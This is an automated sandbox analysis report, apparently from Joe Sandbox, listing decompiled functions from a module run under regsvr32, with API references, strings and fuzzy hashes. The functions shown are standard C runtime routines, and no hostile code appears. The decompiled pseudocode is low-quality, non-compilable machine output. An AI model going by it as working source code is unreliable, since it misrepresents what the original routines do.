Uniqueness Score: -1.00%

Function 000007FEF9D3AFB0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 38COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3B046

Strings

(stream != NULL), xrefs: 000007FEF9D3AFE2, 000007FEF9D3B03F
_fileno, xrefs: 000007FEF9D3B038
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\fileno.c, xrefs: 000007FEF9D3AFF7, 000007FEF9D3B031

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: (stream != NULL)$_fileno$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\fileno.c
API String ID: 2123368286-3532421942
Opcode ID: 96c485b728b13626416908fd91ead62eaa4a9a456ff5e75182e25aa9e0b6060d
Instruction ID: a908f33eec800d0b641dcce84a446a4f1bc570cb1104d1739574f535c1af449d
Opcode Fuzzy Hash: 96c485b728b13626416908fd91ead62eaa4a9a456ff5e75182e25aa9e0b6060d
Instruction Fuzzy Hash: 2D115771A2D6468AE7949B54E948B6E73E0F380344F605125F6DD43AA8C7BED508CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D37E4E Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 38COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D37EF4

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\wcstombs.c, xrefs: 000007FEF9D37EA5, 000007FEF9D37EDF
_wcstombs_s_l, xrefs: 000007FEF9D37EE6
(dst != NULL && sizeInBytes > 0) || (dst == NULL && sizeInBytes == 0), xrefs: 000007FEF9D37E90, 000007FEF9D37EED

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: (dst != NULL && sizeInBytes > 0) || (dst == NULL && sizeInBytes == 0)$_wcstombs_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\wcstombs.c
API String ID: 2123368286-152112980
Opcode ID: 12ab011e70e09e91856032674ad216f6478f48f1fa811ad172dce2a736ade8bc
Instruction ID: 92758ea50bb160a3fa02acdedbd4276cd578df270f1ec03c6948689f63d256e2
Opcode Fuzzy Hash: 12ab011e70e09e91856032674ad216f6478f48f1fa811ad172dce2a736ade8bc
Instruction Fuzzy Hash: B7110331A1CA83C9F7A09B54EC047AEB6E0F340345F604425D6C8466A4CBBEE8888B02

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D234D5 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

_calloc_dbg.LIBCMTD ref: 000007FEF9D234F9

Part of subcall function 000007FEF9D24980: _calloc_dbg_impl.LIBCMTD ref: 000007FEF9D249C6

FlsSetValue.KERNEL32 ref: 000007FEF9D23516

Part of subcall function 000007FEF9D23E30: _unlock.LIBCMTD ref: 000007FEF9D23EC2
Part of subcall function 000007FEF9D23E30: _unlock.LIBCMTD ref: 000007FEF9D23F1C

GetCurrentThreadId.KERNEL32 ref: 000007FEF9D2352C

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dllcrt0.c, xrefs: 000007FEF9D234E2

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _unlock$CurrentThreadValue_calloc_dbg_calloc_dbg_impl
String ID: f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dllcrt0.c
API String ID: 433497747-929597301
Opcode ID: 659d91e782a8862001f0c3efa2abcda19efd609cd314a8a22f2ba95e8e412daa
Instruction ID: a509fa70e7a1a5ff7154c4a485401b757d9bccf253ee3a6eb315a1ba73516cba
Opcode Fuzzy Hash: 659d91e782a8862001f0c3efa2abcda19efd609cd314a8a22f2ba95e8e412daa
Instruction Fuzzy Hash: 25012D21A2C64282F3D09B65EC4473EA2E0F784B50F719275A9DE426F5CF3FE4018A01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3206A Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 35COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D320FA

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c, xrefs: 000007FEF9D320AB, 000007FEF9D320E5
(count == 0) || (string != NULL), xrefs: 000007FEF9D32096, 000007FEF9D320F3
_vsnprintf_helper, xrefs: 000007FEF9D320EC

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: (count == 0) || (string != NULL)$_vsnprintf_helper$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c
API String ID: 2123368286-3131718208
Opcode ID: 6707a3a661624c28ef46bf525b659d524432ea2cd8b3632390f46d17d0644e77
Instruction ID: 5c692777b4ebe1842fa8b4633668c7a74dcbf255a9000a4830a35d89f8dfec26
Opcode Fuzzy Hash: 6707a3a661624c28ef46bf525b659d524432ea2cd8b3632390f46d17d0644e77
Instruction Fuzzy Hash: 64113571E086469AF7A08B28ED047BE62E0F344708F608225A7EC076F5D77EE548CF41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D31FCB Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 32COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D32050

Strings

(format != NULL), xrefs: 000007FEF9D31FEC, 000007FEF9D32049
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c, xrefs: 000007FEF9D32001, 000007FEF9D3203B
_vsnprintf_helper, xrefs: 000007FEF9D32042

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: (format != NULL)$_vsnprintf_helper$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c
API String ID: 2123368286-1927795013
Opcode ID: 1d868900bb9e5cb9c38cd3d3fc38e86365b4ebb9b902cb6620b71e05e16b40fa
Instruction ID: 0384ac4a385dd8b2ed67f657b87bd2987707cc06f4fd1891b24df9f5e25f1ad6
Opcode Fuzzy Hash: 1d868900bb9e5cb9c38cd3d3fc38e86365b4ebb9b902cb6620b71e05e16b40fa
Instruction Fuzzy Hash: D7010832E0C646D6F7A08B68EC057AD66D0B380354F704225A69C066F9DB7EE585CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D25A25 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 31COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D25AAA

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c, xrefs: 000007FEF9D25A5B, 000007FEF9D25A95
_msize_dbg, xrefs: 000007FEF9D25A9C
pUserData != NULL, xrefs: 000007FEF9D25A46, 000007FEF9D25AA3

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: _msize_dbg$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c$pUserData != NULL
API String ID: 2123368286-563024394
Opcode ID: 6b9fa116098faf353e1ca7c3b3c6506904e65b16bd6a9e65c326709190a7893b
Instruction ID: fd38c362069ef75f6546e890191a2209ff1da2573c153e25103ddfba7490d183
Opcode Fuzzy Hash: 6b9fa116098faf353e1ca7c3b3c6506904e65b16bd6a9e65c326709190a7893b
Instruction Fuzzy Hash: EA011A3190964A86EBA09F14EC417AE32E0F355328FA14226D29C466E4DB7FE545CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D325F6 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 31COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3267B

Strings

_vsnprintf_s_l, xrefs: 000007FEF9D3266D
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c, xrefs: 000007FEF9D3262C, 000007FEF9D32666
format != NULL, xrefs: 000007FEF9D32617, 000007FEF9D32674

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: _vsnprintf_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c$format != NULL
API String ID: 2123368286-577066449
Opcode ID: 618b2cf93d4d6d117bb096a419223036f434eaf0351198b3217c601cf8511035
Instruction ID: 02d1b78a9e545c30370c255a3c9a69dd209a03738a12318584891449022be9b6
Opcode Fuzzy Hash: 618b2cf93d4d6d117bb096a419223036f434eaf0351198b3217c601cf8511035
Instruction Fuzzy Hash: 8F017831E0C64ACAF7E08B54EC847AD26E0F794394FB09535A6DD466F8CB7EE5448B01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D27490 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 17libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,?,?,?,000007FEF9D274F1), ref: 000007FEF9D2749F
GetProcAddress.KERNEL32 ref: 000007FEF9D274BE

Strings

mscoree.dll, xrefs: 000007FEF9D27498
CorExitProcess, xrefs: 000007FEF9D274B2

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 1646373207-1276376045
Opcode ID: 13d0b91207a4789fb824e3953cfc7806df79015e4e72068d0de0f8a7d22cb74d
Instruction ID: 7d77de13c6c7ff31230b68e177806ee2c45e09dad43843c6dfa61805c8a48305
Opcode Fuzzy Hash: 13d0b91207a4789fb824e3953cfc7806df79015e4e72068d0de0f8a7d22cb74d
Instruction Fuzzy Hash: 97F0AC32918A4282D674DB18F94836DB7F0F388348F644125D6CE42678DF3ED559CA04

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D40C80 Relevance: 6.1, APIs: 4, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 41%

			E000007FE7FEF9D40C80(signed int __ecx, void* __eflags, void* __rax, void* __r8, signed int _a8) {
				signed long long _v16;
				long _v24;
				void* _t57;
				signed long long _t59;

				_t57 = __rax;
				_a8 = __ecx;
				E000007FE7FEF9D3F900(_a8);
				if (_t57 == 0xffffffff) goto 0xf9d40d05;
				if (_a8 != 1) goto 0xf9d40cb3;
				if (( *( *0xf9d4e560 + 0xb8) & 0x00000001) != 0) goto 0xf9d40ccc;
				if (_a8 != 2) goto 0xf9d40cef;
				_t59 =  *0xf9d4e560;
				if (( *(_t59 + 0x60) & 0x00000001) == 0) goto 0xf9d40cef;
				E000007FE7FEF9D3F900(1);
				_v16 = _t59;
				E000007FE7FEF9D3F900(2);
				if (_v16 == _t59) goto 0xf9d40d05;
				E000007FE7FEF9D3F900(_a8);
				if (CloseHandle(??) == 0) goto 0xf9d40d0f;
				_v24 = 0;
				goto 0xf9d40d19;
				_v24 = GetLastError();
				E000007FE7FEF9D3F7D0(_a8, _t59);
				 *((char*)( *((intOrPtr*)(0xf9d4e560 + _t59 * 8)) + 8 + (_a8 & 0x0000001f) * 0x58)) = 0;
				if (_v24 == 0) goto 0xf9d40d60;
				E000007FE7FEF9D2AA70(_v24,  *((intOrPtr*)(0xf9d4e560 + _t59 * 8)));
				goto 0xf9d40d62;
				return 0;
			}

0x7fef9d40c80
0x7fef9d40c80
0x7fef9d40c8c
0x7fef9d40c95
0x7fef9d40c9c
0x7fef9d40cb1
0x7fef9d40cb8
0x7fef9d40cba
0x7fef9d40cca
0x7fef9d40cd1
0x7fef9d40cd6
0x7fef9d40ce0
0x7fef9d40ced
0x7fef9d40cf3
0x7fef9d40d03
0x7fef9d40d05
0x7fef9d40d0d
0x7fef9d40d15
0x7fef9d40d1d
0x7fef9d40d44
0x7fef9d40d4e
0x7fef9d40d54
0x7fef9d40d5e
0x7fef9d40d66

APIs

Part of subcall function 000007FEF9D3F900: __doserrno.LIBCMTD ref: 000007FEF9D3F913

CloseHandle.KERNEL32 ref: 000007FEF9D40CFB
GetLastError.KERNEL32 ref: 000007FEF9D40D0F
_free_osfhnd.LIBCMTD ref: 000007FEF9D40D1D
_dosmaperr.LIBCMTD ref: 000007FEF9D40D54

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: CloseErrorHandleLast__doserrno_dosmaperr_free_osfhnd
String ID:
API String ID: 1551955814-0
Opcode ID: 539147ec8a9783b9fa5ff2985af3543efd94603151f732987cc3c022e13e7d90
Instruction ID: de0ed08be9decc95e7dd14c86c95eccfc4319969b2c7c8741dbc19f533f0ba9a
Opcode Fuzzy Hash: 539147ec8a9783b9fa5ff2985af3543efd94603151f732987cc3c022e13e7d90
Instruction Fuzzy Hash: 4A219F32A0C64686E7A49B28EC4133E72E1F781355F348235E6DD46AF9DB2EE845CF01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D21000 Relevance: 6.0, APIs: 4, Instructions: 47threadtimeCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32 ref: 000007FEF9D2101D
GetDateFormatA.KERNEL32 ref: 000007FEF9D21038
GetThreadLocale.KERNEL32 ref: 000007FEF9D2106F
GetTimeFormatA.KERNEL32 ref: 000007FEF9D2108A

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: FormatLocaleThread$DateTime
String ID:
API String ID: 3587784874-0
Opcode ID: 6ab24f3c8d7cd050487db91c395009c2fe45c414da0b1ba1062a45228bb8b770
Instruction ID: 0d03bf333fdb9b17262424d59d82d7c7719cce37cb4ba974854027563787c74d
Opcode Fuzzy Hash: 6ab24f3c8d7cd050487db91c395009c2fe45c414da0b1ba1062a45228bb8b770
Instruction Fuzzy Hash: 3311E33160878086E3608F68F94025EB7E0F748BA4F648724EF9D47BA8CB3ED1418700

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2A5E0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 198
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 23%

			E000007FE7FEF9D2A5E0(long long __rcx, void* _a8) {
				signed int _v24;
				char _v42;
				void* _v48;
				signed int _v56;
				char _v312;
				signed char* _v328;
				char _v584;
				char _v840;
				char _v1352;
				char _v1384;
				char _v1392;
				intOrPtr _v1400;
				long long _v1408;
				long long _v1416;
				signed long long _t206;
				signed char* _t214;
				signed long long _t223;
				intOrPtr _t225;
				intOrPtr _t226;
				signed long long _t233;

				_t224 = __rcx;
				_a8 = __rcx;
				_t206 =  *0xf9d4b018; // 0x6ec2365e8408
				_v24 = _t206 ^ _t233;
				if (GetCPInfo(??, ??) == 0) goto 0xf9d2a906;
				_v56 = 0;
				goto 0xf9d2a63c;
				_v56 = _v56 + 1;
				if (_v56 - 0x100 >= 0) goto 0xf9d2a661;
				 *((char*)(_t233 + _a8 + 0x470)) = _v56 & 0x000000ff;
				goto 0xf9d2a62c;
				_v312 = 0x20;
				_v328 =  &_v42;
				goto 0xf9d2a68f;
				_v328 =  &(_v328[2]);
				if (( *_v328 & 0x000000ff) == 0) goto 0xf9d2a6ea;
				_v56 =  *_v328 & 0x000000ff;
				goto 0xf9d2a6c2;
				_v56 = _v56 + 1;
				_t214 = _v328;
				if (_v56 - ( *(_t214 + 1) & 0x000000ff) > 0) goto 0xf9d2a6e8;
				 *((char*)(_t233 + _t214 + 0x470)) = 0x20;
				goto 0xf9d2a6b2;
				goto 0xf9d2a67b;
				_v1392 = 0;
				_v1400 =  *((intOrPtr*)(_a8 + 0xc));
				_v1408 =  *((intOrPtr*)(_a8 + 4));
				_v1416 =  &_v1352;
				r9d = 0x100;
				E000007FE7FEF9D2F4D0(1,  &_v1352, __rcx,  &_v312);
				_v1384 = 0;
				_v1392 =  *((intOrPtr*)(_a8 + 4));
				_v1400 = 0x100;
				_v1408 =  &_v840;
				_v1416 = 0x100;
				r8d = 0x100;
				E000007FE7FEF9D2EF00( *((intOrPtr*)(_a8 + 0xc)), _a8, _t224,  &_v312);
				_v1384 = 0;
				_v1392 =  *((intOrPtr*)(_a8 + 4));
				_v1400 = 0x100;
				_v1408 =  &_v584;
				_v1416 = 0x100;
				r8d = 0x200;
				_t223 = _a8;
				E000007FE7FEF9D2EF00( *((intOrPtr*)(_t223 + 0xc)), _t223, _t224,  &_v312);
				_v56 = 0;
				_v56 = _v56 + 1;
				if (_v56 - 0x100 >= 0) goto 0xf9d2a901;
				if (( *(_t233 + 0x60 + _t223 * 2) & 1) == 0) goto 0xf9d2a879;
				_t225 = _a8;
				 *((char*)(_a8 + _t225 + 0x1c)) =  *(_t225 + _t223 + 0x1c) & 0x000000ff | 0x00000010;
				 *((char*)(_a8 + _t225 + 0x11d)) =  *(_t233 + _t223 + 0x260) & 0x000000ff;
				goto 0xf9d2a8fc;
				if (( *(_t233 + 0x60 + _t223 * 2) & 2) == 0) goto 0xf9d2a8e5;
				_t226 = _a8;
				 *((char*)(_a8 + _t226 + 0x1c)) =  *(_t226 + _t223 + 0x1c) & 0x000000ff | 0x00000020;
				 *((char*)(_a8 + _t226 + 0x11d)) =  *(_t233 + _t223 + 0x360) & 0x000000ff;
				goto 0xf9d2a8fc;
				 *((char*)(_a8 + _t223 + 0x11d)) = 0;
				goto L1;
				goto 0xf9d2aa20;
				_v56 = 0;
				_v56 = _v56 + 1;
				_v56 = _v56 + 1;
				if (_v56 - 0x100 >= 0) goto 0xf9d2aa20;
				if (_v56 - 0x41 < 0) goto 0xf9d2a99c;
				if (_v56 - 0x5a > 0) goto 0xf9d2a99c;
				_v56 = _v56 + 1;
				__rcx = _a8;
				 *(__rcx + __rax + 0x1c) & 0x000000ff =  *(__rcx + __rax + 0x1c) & 0x000000ff | 0x00000010;
				_v56 = _v56 + 1;
				__rdx = _a8;
				 *((char*)(_a8 + __rcx + 0x1c)) = __al;
				_v56 = _v56 + 0x20;
				__ecx = _v56;
				__rdx = _a8;
				 *((char*)(_a8 + __rcx + 0x11d)) = __al;
				goto 0xf9d2aa1b;
				if (_v56 - 0x61 < 0) goto 0xf9d2aa04;
				if (_v56 - 0x7a > 0) goto 0xf9d2aa04;
				_v56 = _v56 + 1;
				__rcx = _a8;
				 *(__rcx + __rax + 0x1c) & 0x000000ff =  *(__rcx + __rax + 0x1c) & 0x000000ff | 0x00000020;
				_v56 = _v56 + 1;
				__rdx = _a8;
				 *((char*)(_a8 + __rcx + 0x1c)) = __al;
				_v56 = _v56 - 0x20;
				__ecx = _v56;
				__rdx = _a8;
				 *((char*)(__rdx + __rcx + 0x11d)) = __al;
				goto 0xf9d2aa1b;
				__eax = _v56;
				__rcx = _a8;
				 *((char*)(_a8 + __rax + 0x11d)) = 0;
				goto L2;
				__rcx = _v24;
				__rcx = _v24 ^ __rsp;
				return E000007FE7FEF9D23280(_v56, _v56, __edx, _v24 ^ __rsp, __rdx, __r8);
			}

0x7fef9d2a5e0
0x7fef9d2a5e0
0x7fef9d2a5ec
0x7fef9d2a5f6
0x7fef9d2a619
0x7fef9d2a61f
0x7fef9d2a62a
0x7fef9d2a635
0x7fef9d2a647
0x7fef9d2a658
0x7fef9d2a65f
0x7fef9d2a661
0x7fef9d2a671
0x7fef9d2a679
0x7fef9d2a687
0x7fef9d2a69c
0x7fef9d2a6a9
0x7fef9d2a6b0
0x7fef9d2a6bb
0x7fef9d2a6c2
0x7fef9d2a6d5
0x7fef9d2a6de
0x7fef9d2a6e6
0x7fef9d2a6e8
0x7fef9d2a6ea
0x7fef9d2a6fd
0x7fef9d2a70c
0x7fef9d2a715
0x7fef9d2a71a
0x7fef9d2a72f
0x7fef9d2a734
0x7fef9d2a747
0x7fef9d2a74b
0x7fef9d2a75b
0x7fef9d2a760
0x7fef9d2a770
0x7fef9d2a783
0x7fef9d2a788
0x7fef9d2a79b
0x7fef9d2a79f
0x7fef9d2a7af
0x7fef9d2a7b4
0x7fef9d2a7c4
0x7fef9d2a7ca
0x7fef9d2a7d7
0x7fef9d2a7dc
0x7fef9d2a7f2
0x7fef9d2a804
0x7fef9d2a81b
0x7fef9d2a828
0x7fef9d2a84b
0x7fef9d2a86d
0x7fef9d2a874
0x7fef9d2a88a
0x7fef9d2a897
0x7fef9d2a8ba
0x7fef9d2a8dc
0x7fef9d2a8e3
0x7fef9d2a8f4
0x7fef9d2a8fc
0x7fef9d2a901
0x7fef9d2a906
0x7fef9d2a91a
0x7fef9d2a91c
0x7fef9d2a92e
0x7fef9d2a93c
0x7fef9d2a946
0x7fef9d2a94f
0x7fef9d2a953
0x7fef9d2a960
0x7fef9d2a96a
0x7fef9d2a96e
0x7fef9d2a976
0x7fef9d2a981
0x7fef9d2a984
0x7fef9d2a98b
0x7fef9d2a993
0x7fef9d2a99a
0x7fef9d2a9a4
0x7fef9d2a9ae
0x7fef9d2a9b7
0x7fef9d2a9bb
0x7fef9d2a9c8
0x7fef9d2a9d2
0x7fef9d2a9d6
0x7fef9d2a9de
0x7fef9d2a9e9
0x7fef9d2a9ec
0x7fef9d2a9f3
0x7fef9d2a9fb
0x7fef9d2aa02
0x7fef9d2aa04
0x7fef9d2aa0b
0x7fef9d2aa13
0x7fef9d2aa1b
0x7fef9d2aa20
0x7fef9d2aa28
0x7fef9d2aa37

APIs

GetCPInfo.KERNEL32 ref: 000007FEF9D2A611

Strings

z, xrefs: 000007FEF9D2A9A6
, xrefs: 000007FEF9D2A6DE

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Info
String ID: $z
API String ID: 1807457897-2251613814
Opcode ID: 939841bcdfd8ad812f8c29de7d09562b703ae5a82c5ff0fab969d8d2fb6d5a5e
Instruction ID: 4853ceba84ddbb230417778543f3b3b02ea2aa858227094ccd1c634e11d49f23
Opcode Fuzzy Hash: 939841bcdfd8ad812f8c29de7d09562b703ae5a82c5ff0fab969d8d2fb6d5a5e
Instruction Fuzzy Hash: C8B1B77261CAC0CAD7B58B29E8807AFB7E0F388785F155125DAC983B99DB2DD4429F00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D34960 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 175
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 35%

			E000007FE7FEF9D34960(void* __ecx, long long __rcx, long long __rdx, long long __r8, long long __r9, void* _a8, long long _a16, long long _a24, long long _a32, signed int _a40, intOrPtr _a48, long long _a56, long long _a64) {
				long long _v24;
				long long _v32;
				long long _v40;
				long long _v48;
				long long _v56;
				char _v60;
				char _v64;
				signed int _v72;
				char _v80;
				char _v88;
				long long _v96;
				intOrPtr _v104;
				long long _v112;
				long long _v120;
				long long _v128;
				signed int _v136;
				void* _t106;
				void* _t117;
				void* _t118;
				void* _t119;
				void* _t120;
				void* _t121;
				long long _t153;
				signed int _t161;
				signed int _t165;
				long long _t166;
				long long _t169;
				long long _t170;
				intOrPtr _t174;

				_a32 = __r9;
				_a24 = __r8;
				_a16 = __rdx;
				_a8 = __rcx;
				_t153 = _a8;
				if ( *_t153 != 0x80000003) goto 0xf9d34990;
				goto 0xf9d34cc6;
				0xf9d24000();
